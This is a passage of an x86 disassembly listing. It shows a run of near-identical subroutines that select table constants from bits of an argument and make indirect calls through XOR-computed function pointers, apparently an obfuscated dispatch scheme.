		mov	[ebp+var_20], 0C4h
		mov	[ebp+var_1C], 10h
		mov	[ebp+var_18], 0D2h
		mov	[ebp+var_14], 0DAh
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B1FE3
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B1FE3:				; CODE XREF: sub_4B1F53+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B1F53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B204F	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBF8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0BDh
		mov	[ebp+var_2C], 59h
		mov	[ebp+var_28], 8Dh
		mov	[ebp+var_24], 0E8h
		mov	[ebp+var_20], 0C8h
		mov	[ebp+var_1C], 73h
		mov	[ebp+var_18], 5Eh
		mov	[ebp+var_14], 39h
		mov	[ebp+var_10], 7
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 7
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B20E0
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B20E0:				; CODE XREF: sub_4B204F+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B214C	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDBFCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 63h
		mov	[ebp+var_2C], 0F3h
		mov	[ebp+var_28], 0C3h
		mov	[ebp+var_24], 61h
		mov	[ebp+var_20], 71h
		mov	[ebp+var_1C], 0A2h
		mov	[ebp+var_18], 0AFh
		mov	[ebp+var_14], 3Eh
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B21DC
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B21DC:				; CODE XREF: sub_4B214C+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B214C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B2248	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC00o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0E5h
		mov	[ebp+var_2C], 0F9h
		mov	[ebp+var_28], 3Ch
		mov	[ebp+var_24], 6Dh
		mov	[ebp+var_20], 5
		mov	[ebp+var_1C], 0A4h
		mov	[ebp+var_18], 0E1h
		mov	[ebp+var_14], 4Bh
		mov	[ebp+var_10], 13h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 13h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B22D9
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B22D9:				; CODE XREF: sub_4B2248+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B2248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B2345	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC04o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 8Dh
		mov	[ebp+var_2C], 0EEh
		mov	[ebp+var_28], 0
		mov	[ebp+var_24], 0D7h
		mov	[ebp+var_20], 39h
		mov	[ebp+var_1C], 2Ch
		mov	[ebp+var_18], 5
		mov	[ebp+var_14], 25h
		mov	[ebp+var_10], 0
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B23D3
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B23D3:				; CODE XREF: sub_4B2345+7Bj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B2345	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B243F	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC08o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0B7h
		mov	[ebp+var_2C], 91h
		mov	[ebp+var_28], 0A4h
		mov	[ebp+var_24], 8Ch
		mov	[ebp+var_20], 48h
		mov	[ebp+var_1C], 63h
		mov	[ebp+var_18], 5Eh
		mov	[ebp+var_14], 49h
		mov	[ebp+var_10], 4
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 4
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B24D0
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B24D0:				; CODE XREF: sub_4B243F+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B243F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B253C	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC0Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 3Dh
		mov	[ebp+var_2C], 1Fh
		mov	[ebp+var_28], 56h
		mov	[ebp+var_24], 8Fh
		mov	[ebp+var_20], 0E0h
		mov	[ebp+var_1C], 0E5h
		mov	[ebp+var_18], 0Dh
		mov	[ebp+var_14], 8Eh
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B25CD
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B25CD:				; CODE XREF: sub_4B253C+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B253C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B2639	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC10o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0Eh
		mov	[ebp+var_2C], 0B3h
		mov	[ebp+var_28], 0B2h
		mov	[ebp+var_24], 0C4h
		mov	[ebp+var_20], 80h
		mov	[ebp+var_1C], 80h
		mov	[ebp+var_18], 11h
		mov	[ebp+var_14], 58h
		mov	[ebp+var_10], 11h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 11h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B26CA
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B26CA:				; CODE XREF: sub_4B2639+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B2639	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B2736	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC14o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0FAh
		mov	[ebp+var_2C], 4Ah
		mov	[ebp+var_28], 27h
		mov	[ebp+var_24], 0BDh
		mov	[ebp+var_20], 64h
		mov	[ebp+var_1C], 3Eh
		mov	[ebp+var_18], 4Ah
		mov	[ebp+var_14], 5Eh
		mov	[ebp+var_10], 12h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 12h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B27C7
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B27C7:				; CODE XREF: sub_4B2736+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B2736	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B2833	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC18o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 88h
		mov	[ebp+var_2C], 45h
		mov	[ebp+var_28], 73h
		mov	[ebp+var_24], 0F1h
		mov	[ebp+var_20], 92h
		mov	[ebp+var_1C], 16h
		mov	[ebp+var_18], 1Dh
		mov	[ebp+var_14], 0A9h
		mov	[ebp+var_10], 0
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B28C1
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B28C1:				; CODE XREF: sub_4B2833+7Bj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4B2833	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B292D	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDC1Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 62h
		mov	[ebp+var_2C], 8Eh
		mov	[ebp+var_28], 0D3h
		mov	[ebp+var_24], 95h
		mov	[ebp+var_20], 40h
		mov	[ebp+var_1C], 8Ch
		mov	[ebp+var_18], 48h
		mov	[ebp+var_14], 71h
		mov	[ebp+var_10], 2
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 2
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4B29BE
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4B29BE:				; CODE XREF: sub_4B292D+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
